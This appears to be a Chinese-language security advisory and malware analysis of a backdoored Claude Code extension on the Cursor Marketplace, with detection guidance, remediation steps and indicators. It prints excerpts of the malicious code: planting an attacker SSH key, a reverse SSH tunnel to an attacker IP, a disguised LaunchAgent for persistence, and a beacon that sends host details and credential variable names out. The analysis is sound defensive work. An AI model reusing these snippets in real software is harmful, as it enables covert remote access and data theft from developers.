TL;DR
Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展包中发现了一个后门,该后门会在 macOS、Linux 和 Windows 上植入持久的 SSH 后门。本文主要关注 macOS,因为该扩展尝试在 macOS 上配置 SSH 后门并建立持久化。
各组织应立即检查其环境是否使用了 Claude Code for VSCode 2.1.312 或 2.1.313,并在发现使用该扩展时启动事件响应。
更新(2026 年 10 月 31 日): Cursor 的安全公告 现在指出,通过 Cursor Marketplace 分发的 macOS 和 Windows 版本
2.1.312和2.1.313受到影响。本公告此前仅指出2.1.313;下方受影响版本的指引已相应更新。
Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,被植入后门的扩展包中包含一个持久的 Secure Shell (SSH) 后门。Cursor 已从其市场中移除了受影响的版本 2.1.312 和 2.1.313。
虽然该植入程序包含针对 macOS、Linux 和 Windows 的设置和持久化逻辑,但本文主要关注 macOS,并会顺带指出其他平台上的关键差异和一些实现缺陷。
Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 和运行它的用户的权限运行,被植入后门的扩展在模块加载后即可立即访问本地文件、源代码和开发者工具。
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 的方式上可能存在一个疏忽。设置逻辑假设它可以在没有 root 权限的情况下检查当前的远程登录状态。当以标准用户身份运行时,systemsetup -getremotelogin 会打印管理员权限错误并以状态 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此它完全跳过了启用步骤。在尚未运行 SSH 的 Mac 上,这个错误会破坏入站访问路径,尽管 SSH 密钥和持久化仍会被植入。
在本文中,我们将介绍该后门的工作原理、为什么 macOS 上的检查会失败,以及在整个设备群中需要关注什么。此有效载荷的目标是长期交互式访问,尽管 SSH 后门缺陷将 macOS 上的影响降至最低,但该恶意软件仍是一个重大威胁,因为它会安装持久化机制并将主机侦察信息回传给操作者。
感染链
Cursor Marketplace 扩展
被入侵的 extension.js 文件以一个注入的立即调用函数表达式(IIFE)开头,该表达式被前置到压缩后的扩展包中。扩展包的其余部分看起来与标准扩展无异,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。
注入的前缀引入了标准 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展正常的 activate 回调运行之前。用户无需与扩展交互即可触发有效载荷。
阶段 1 - 准备 SSH 访问
首先,有效载荷确保 ~/.ssh 存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys,将目录权限设置为 0700,文件权限设置为 0600。
该密钥使用的注释是 svc-telemetry。在追加之前,脚本检查的是 svc-telemetry 是否已在文件中,而不是检查密钥本身。在追踪此活动时,值得检查公钥指纹,而不是仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
此处,cur 保存 authorized_keys 的现有内容,PUB 是嵌入的攻击者公钥(此处已隐去)。
密钥就位后,任何持有匹配私钥的人都可以以该用户身份进行认证,前提是 SSH 确实正在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并正在监听:
- Linux: 尝试通过
systemctl启用并启动sshd或ssh,回退到service和/etc/init.d/。 - macOS: 检查远程登录,如果报告
Off,则尝试通过sudo -n systemsetup -setremotelogin on启用它。 - Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。
这些步骤均不包含权限提升漏洞利用。非交互式 sudo -n 将失败,除非用户已缓存或配置了无密码 sudo,因此从标准用户上下文启动系统服务并不总是成功。
看起来 Windows 代码路径也有自己的缺陷:它通过一个硬编码了 /bin/sh 的辅助函数(det())传递 PowerShell 服务设置命令,这在标准 Windows 安装上不会走得太远。
macOS SSH 逻辑中的缺陷?
在 macOS 上,设置甚至在执行 sudo 命令之前就可能遇到问题。脚本在没有提权的情况下运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行比对。仅当输出包含 Off 时,它才尝试启用远程登录:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)没有。当你在 macOS 上以标准用户身份运行 systemsetup -getremotelogin 时,你会得到以下结果:
You need administrator access to run this tool... exiting!
systemsetup 在没有管理员权限时拒绝读取该设置,将错误打印到 stdout,并以状态 0 退出。恶意软件的 ex() 辅助函数获取 stdout 并返回它:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
由于输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的计算结果为 false。
因此,脚本跳过了 if 块,永远不会运行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否关闭”视为“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你不会在进程遥测中看到启用尝试。
此缺陷可能破坏访问链的最后一步。 如果 Mac 上尚未启用远程登录,出站隧道仍可连接到攻击者的服务器,但通过隧道转发回来的任何流量都将命中本地主机上关闭的 22 端口。
当然,这并非可以依赖的防御手段。如果用户已经启用了远程登录,或者之后将其开启,后门就已就绪并等待。
阶段 2 - 建立反向 SSH 隧道
接下来,脚本以 tunnel 用户身份在 22 端口建立到 134.209.82[.]225 的出站 SSH 连接。为了向攻击者的服务器进行身份验证,它解码一个单独嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
在调查过程中,有必要将这两个密钥区分清楚:
- 添加到
~/.ssh/authorized_keys(svc-telemetry)的公钥使攻击者能够登录受害者的机器。 - 嵌入的私钥(
svc-telemetry-tun)使受害者的机器能够向外连接到攻击者的隧道服务器。
脚本将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径的 MD5 哈希的前十个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
该隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会要求攻击者的 SSH 服务器动态分配一个监听端口,并将命中该端口的任何流量通过隧道转发回受害者机器上的 localhost:22:
Affected host -- outbound SSH tunnel --> External SSH server
Operator -- separate connection --> Server's allocated port
|
Through the existing tunnel
|
v
Affected host's SSH:22
|
Login using the planted key
由于隧道以 -N 运行,它只是保持端口转发处于打开状态,而不在远程服务器上执行命令。当操作者想要访问该机器时,他们通过其服务器上分配的端口启动一个单独的 SSH 会话,使用阶段 1 中植入的密钥对受害者的本地 SSH 守护进程进行身份验证。这为他们提供了完整的交互式 shell 和文件传输能力,而无需在 JavaScript 本身中进行任何自定义 C2 命令处理。
SSH 命令还传递了一些标志,以保持连接安静且非交互:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,keepalive 设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。
如果安装了 autossh,脚本会使用它;否则回退到标准的 ssh。它将连接包装在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用 pgrep 以避免启动重复的初始隧道。由于循环是分离的,即使用户关闭其 IDE,隧道也会保持运行。
阶段 3 - 保持访问可用
为了在重启后存活,脚本在初始分离隧道之外还设置了平台特定的持久化:
| 平台 | 产物 | 持久化机制 | 备注 |
|---|---|---|---|
| Linux | ~/.config/.smt, ~/.config/.smtk |
写入一个 shell 脚本,重新创建隧道密钥并循环 SSH 连接,然后向用户的 crontab 添加一个 @reboot 条目。 |
crontab 检查中存在一个缺陷,在重复运行时可能会清除现有的用户 cron 任务(详见下文)。 |
| macOS | ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist |
写入一个用户 LaunchAgent,以 true 设置运行带有 RunAtLoad 和 KeepAlive 的 /bin/sh ~/.config/.smt,然后通过 launchctl 加载它。 |
在用户上下文中运行,而不是作为 root LaunchDaemon。 |
| Windows | ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd |
尝试创建一个名为 SysMon 的计划任务,在启动时以 SYSTEM 运行。如果失败,则将 sysmon.cmd 放入用户的启动文件夹。 |
创建 SYSTEM 任务需要管理员权限;启动文件夹回退方案在登录时以用户身份运行。 |
在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌了隧道私钥,并在启动重连循环之前将其写出到 ~/.config/.smtk。
在 macOS 上,LaunchAgent 在 ~/Library/LaunchAgents/ 内伪装成 com.apple.sysmond.plist:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
阶段 4 - 主机侦察
最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:
- 主机名、用户名、操作系统平台和架构
- 主目录、当前工作目录和全局 Git 电子邮件(
git config --global user.email) - 公共 IP 地址以及每个设置阶段的状态标志(例如是否添加了 SSH 密钥以及运行了哪种持久化方法)
- 最多 40 个匹配
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i的环境变量名称(不是值)
环境变量检查使用 Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
由于它只获取变量名称,信标不会泄露秘密值本身。相反,它为操作者提供了机器上存在哪些云凭据或 API 令牌的快速清单,以便他们知道应优先处理哪些主机。
为了获取机器的公共 IP,脚本查询 ifconfig[.]me,回退到 api[.]ipify[.]org。
然后它通过明文 HTTP POST 请求将 JSON 报告发送到 /beacon,同时发送到 134.209.82[.]225:8099 和 127.0.0.1:8099:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
为什么它还将信标的副本发送到 127.0.0.1:8099,从样本中并不清楚;脚本本身并未在该端口上设置本地监听器。
信标使用 setTimeout 调度一次(初始设置运行后 1.5 秒),并用 res.resume() 丢弃任何 HTTP 响应。它纯粹是一次签到,让操作者知道主机已就绪,而 SSH 隧道处理实际访问。
检测机会
从检测的角度来看,在 macOS 上使用端点安全框架(ESF)遥测时,此链条中有几个行为很突出。
SSH 密钥和配置更改
由于恶意软件直接使用 Node 的 fs.appendFileSync 追加到 ~/.ssh/authorized_keys,仅监视 echo 或 tee 等 shell 命令触及 authorized_keys 的进程规则无法捕获它。这就是文件修改遥测至关重要的地方:监视 IDE 辅助进程(Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys。
尽管 IDE 二进制文件本身是有效签名的,但其扩展宿主进程没有理由在后台修改 SSH 身份验证文件。
虽然你也应该监视 systemsetup -setremotelogin on,但不要将其作为对此活动发出警报的必要条件。正如我们在上面看到的,macOS 上损坏的状态检查意味着该命令通常根本不会运行。
用户 LaunchAgent 持久化
macOS 上的持久化设置为我们提供了几个强信号:
- 一个非 Apple 进程写入带有
com.apple.*标签(~/Library/LaunchAgents/com.apple.sysmond.plist)的 plist。 - 一个配置为针对用户主目录中的隐藏脚本(
~/.config/.smt)执行/bin/sh的 LaunchAgent。
由于初始隧道是作为分离进程生成的,并且 launchd 稍后直接管理 .smt,在实时进程树中,后续的 ssh 进程不会以 IDE 作为其直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建关联回 IDE 扩展宿主,可以更容易地将链条拼凑起来。
SSH 隧道和后续访问
在进程和网络方面,查找:
- 使用远程端口转发(
-R *:0:localhost:22)启动的ssh或autossh,以及从/tmp/.stk_*或~/.config/.smtk拉取的身份文件。 - 到
134.209.82[.]225端口 22 的出站 SSH 连接,以及对134.209.82[.]225:8099的 HTTP POST 请求(以及对127.0.0.1:8099的连接尝试)。
如果你发现运行过此扩展的主机,重要的是检查隧道是仅仅建立,还是操作员实际通过它登录了。由于入站会话通过本地端口转发到达,SSH 日志中的成功登录将显示来自 localhost(127.0.0.1 或 ::1)使用 svc-telemetry 密钥进行认证。
修复
如果你识别出受影响的机器,仅卸载扩展不会移除后门。确保你的响应涵盖它投放的所有阶段:
- 终止活动隧道进程: 终止
/bin/sh重试循环以及任何连接到134.209.82[.]225的ssh或autossh进程。 - 移除持久化: 在 macOS 上卸载并删除
~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理@rebootcron 条目 / Windows 上的SysMon计划任务和启动脚本),并移除~/.config/.smt和~/.config/.smtk。 - 清理 SSH 密钥和状态: 从
~/.ssh/authorized_keys中移除svc-telemetry公钥,删除/tmp/.stk_*,并验证远程登录(SSH)未被意外启用。 - 轮换凭据: 如果主机上启用了 SSH,或者有任何入站登录的证据,轮换该用户账户可访问的任何凭据或令牌(尤其是那些匹配
KEY|TOKEN|SECRET|PASS|AWS|GCP环境变量过滤器的)。
Phorion 的方法
Phorion 的开箱即用检测覆盖通过多个规则标记此攻击中使用的 macOS 持久化,包括非 Apple 进程创建 com.apple.* LaunchAgents 以及 LaunchAgents 从隐藏目录执行 shell 脚本。
除了持久化,Phorion 的文件访问遥测捕获 IDE 扩展宿主直接修改 ~/.ssh/authorized_keys,并且 Phorion Protections 可用于锁定 ~/.ssh/,以便只有授权进程才能首先读取或修改 SSH 密钥和配置文件。
如果你想了解 Phorion 如何在整个 Mac 设备群中检测和阻止此类供应链威胁,联系我们安排演示。
指标
样本和公钥指纹
| 指标 | 值 | 备注 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 |
后门化的 extension.js 包 |
| 受害者登录公钥指纹 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk |
追加到 ~/.ssh/authorized_keys 的 Ed25519 密钥(注释 svc-telemetry) |
| 隧道公钥指纹 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ |
用于向隧道服务器认证的内嵌 Ed25519 密钥(注释 svc-telemetry-tun) |
网络指标
| 指标 | 类型 | 备注 |
|---|---|---|
134.209.82[.]225(TCP 22,用户 tunnel) |
IP / SSH | 出站反向 SSH 隧道服务器 |
134.209.82[.]225:8099 (POST /beacon) |
IP / HTTP | 外部主机报告信标端点 |
127.0.0.1:8099 (POST /beacon) |
回环 / HTTP | 本地信标目的地 |
ifconfig[.]me, api[.]ipify[.]org |
域名 | 用于公共 IP 发现的合法服务查询 |
主机痕迹
| 痕迹 | 平台 | 备注 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64 |
macOS(Apple Silicon) | Cursor 安全公告中识别的其他受影响版本(<ide> 因编辑器而异) |
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 |
macOS(Apple Silicon) | 已安装扩展目录(<ide> 因编辑器而异) |
~/.ssh/authorized_keys(注释 svc-telemetry) |
所有 | 植入的 Ed25519 公钥 |
<TMP>/.stk_<10 hex chars>(macOS 上为 $TMPDIR/.stk_*) |
所有 | 操作系统临时目录中的初始隧道私钥(后缀是 MD5(hostname + HOME) 的前 10 个十六进制字符) |
~/.config/.smt 和 ~/.config/.smtk |
macOS、Linux | 持久化 shell 脚本和重新创建的隧道私钥 |
~/Library/LaunchAgents/com.apple.sysmond.plist |
macOS | 执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent |
~/.config/.smt 的 @reboot cron 条目 |
Linux | 用户 crontab 持久化 |
~/.config/smt.cmd 和 ~/.config/smtk |
Windows | 持久化批处理脚本和隧道私钥 |
计划任务 SysMon |
Windows | 启动计划任务(请求 SYSTEM) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd |
Windows | 启动文件夹回退脚本 |
